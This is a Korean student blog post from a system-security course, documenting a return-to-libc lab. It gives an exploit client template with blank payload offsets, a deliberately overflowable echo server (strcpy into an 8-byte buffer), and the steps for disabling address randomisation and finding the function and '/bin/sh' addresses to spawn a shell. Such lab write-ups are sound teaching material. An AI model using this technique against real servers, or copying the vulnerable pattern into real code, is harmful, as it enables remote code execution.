발자취

시스템 보안 07-2. 코드 재사용 공격 실습 1 - RTL 본문

3-2/시스템보안

시스템 보안 07-2. 코드 재사용 공격 실습 1 - RTL

해린 2023. 12. 15. 07:15

실습에는 총 두가지의 코드 파일이 필요하다.

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include "echo.h"

#define NOP 0x90




int main(int argc, char* argv[])
{
	int so, op;
        Packet pkt;
        unsigned long runSystem_address, runExit_address, shell_address;
	struct sockaddr_in remote_addr;
	struct sockaddr_in local_addr;

	if(argc != 3) {
		printf("Usage: echo_retlib <ip_address> <port> \n");
		exit(-1);
	}


	
	bzero(&remote_addr, sizeof(struct sockaddr_in));
	bzero(&local_addr, sizeof(struct sockaddr_in));
	
	remote_addr.sin_family = AF_INET;
	remote_addr.sin_addr.s_addr = inet_addr(argv[1]);
        remote_addr.sin_port = htons(atoi(argv[2]));

	local_addr.sin_family = AF_INET;

	
	if ((so = socket(AF_INET, SOCK_STREAM, 0)) < 0) 
        {
	      printf("Failure in creating socket\n");
	      exit(-1);
	}
	
        op = 1;
	if (setsockopt(so, SOL_SOCKET, SO_REUSEADDR, (char *)&op, sizeof(op)) < 0)      { 
	      printf("Failure in setting socket options\n");
	      exit(-1);
	}

	if (bind(so, (struct sockaddr*) &local_addr, sizeof(struct sockaddr_in)) < 0)   {
	      printf("Failure in binding port\n");
	      exit(-1);
	}
	if (connect(so, (struct sockaddr_in *) &remote_addr, sizeof(struct sockaddr_in)) < 0) 
        {
	      printf("Failure in connecting to %s\n", inet_ntoa(remote_addr.sin_addr));
	      exit(-1);
	}




       runExit_address = ; 
       runSystem_address = ; 
       shell_address = ;

       

        /********** Exploit Code Part ********************/
       pkt.type = _TYPE_ECHO_; 
       memset(pkt.hostname, NOP, sizeof(pkt.hostname));
       memset(pkt.buf, NOP, sizeof(pkt.buf)-1);

       *(unsigned long *) &pkt.buf[] = ;
       *(unsigned long *) &pkt.buf[] = ;
       *(unsigned long *) &pkt.buf[] = ;

 
        pkt.buf[BUFFER_SIZE-1]=0;
  
        /********** Exploit Code Part ********************/
        
       send(so, (char *)&pkt, sizeof(Packet), 0);

        
        close(so);
}

echo_retlib.c

RTL 공격을 위해 사용되는 파일

 

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include"echo.h"

void doEcho(Packet *p)
{
  char cmd[8];
  
  strcpy(cmd,p->hostname);
  printf("%s\n", cmd);
}

void runSystem(char *cmd)
{
	system(cmd);
}

void runExit()
{
	exit(0); 
}

void runCommand(char *cmd)
{
    runSystem(cmd);
    runExit();
   
}

int main(int argc, char *argv[])
{
  int port=15000,create_socket,new_socket,addrlen;
  Packet recvPacket;
  struct sockaddr_in address;


  printf("Current stack address: %8X\n",&address);

  if(argc>1) port=atoi(argv[1]);

  if ((create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0) {
    printf("socket created\n");
  } else {
    printf("Fail to create socket\n");
    return 1;
  }
  address.sin_family = AF_INET;
  address.sin_addr.s_addr = INADDR_ANY;
  address.sin_port = htons(port);
 
 if (bind(create_socket,(struct sockaddr *)&address,sizeof(address)) == 0) {
    printf("Socket binded to port %d\n",port);
  } else {
    printf("Fail to bind socket\n");
    return 1;
  }

  listen(create_socket,3);
  addrlen = sizeof(struct sockaddr_in);
  new_socket = accept(create_socket,(struct sockaddr *)&address,&addrlen);
  if (new_socket > 0){
    printf("The Client %s is connected...\n",inet_ntoa(address.sin_addr));
  }
  do{
    bzero((char *)&recvPacket,sizeof(Packet));
    recv(new_socket,(char *)&recvPacket,sizeof(Packet),0);
    if(recvPacket.type == _TYPE_ECHO_)
           doEcho(&recvPacket);
    send(new_socket,(char *)&recvPacket,sizeof(Packet),0);
  }while(recvPacket.type!=_TYPE_END_); 
  
  close(new_socket);
  close(create_socket); 
}

echo_server_RTL.c

RTL 공격의 대상이 되는 서버 파일

 


두 개의 터미널을 화면에 띄운다. 공격자용 터미널과 서버용 터미널이다.

공격자용과 서버용 모두에서 위 명령어를 실행한다.

환경변수를 지정해주는 명령어이다.

 

역시 이 명령어도 공격자용과 서버용 모두에서 실행해줘야 한다.

ASRL처럼 시스템 상에서 주소를 난수화해주는 기능을 비활성화 시켜주는 명령어이다.

 

echo_retlibc.c의 68~70번 라인을 채우기 위해 적절한 주소값을 알아와야 한다.

 

해야할 일

1. runExit, runSystem 함수의 주소 알아오기

2. shell_address에 넣을 "/bin/sh" 주소 알아오기

 

1. runExit, runSystem 함수의 주소 알아오기

[서버 터미널]

echo_server_RTL을 컴파일한다. -static 옵션을 사용하여 주소 체계가 바뀌지 않도록 해준다.

objdump를 사용하여 각 함수들의 주소를 알아낸다.

*objdump: 해당 프로그램 안에 선언된 함수들의 주소를 알 수 있는 명령어

 

- runExit: 08049db9

- runSystem: 08049d92

 

 

2. shell_address에 넣을 "/bin/sh" 주소 알아오기

#include <stdio.h>

void main()
{
  char *shell_addr = getenv("ATTACKSHELL");

  if (shell_addr)
      printf ("0x%x\n", (unsigned int)shell_addr);
}

shell_addr.c

shell_address(/bin/sh의 주소)를 알아내기 위해 작성한 코드

 

[서버 터미널]

컴파일 후 실행해주면 0xbfffff4b라는 주소가 나온다.

이 주소에서 ATTACKSHELL의 사이즈를 빼주면 된다!

 

- shell_address: bfffff41

 

위에서 알아낸 주소값으로 68~70번 라인을 채우고,

79~81번 라인을 채워준다.

 

이제 실행만 해주면 된다.

 

[공격자 터미널]

echo_retlibc.c를 컴파일 해준다.

 

[서버 터미널]

서버를 실행해주고

 

[공격자 터미널]

echo_retlibc 실행해주면

 

[서버 터미널]

서버에서 /bin/sh이 실행된다!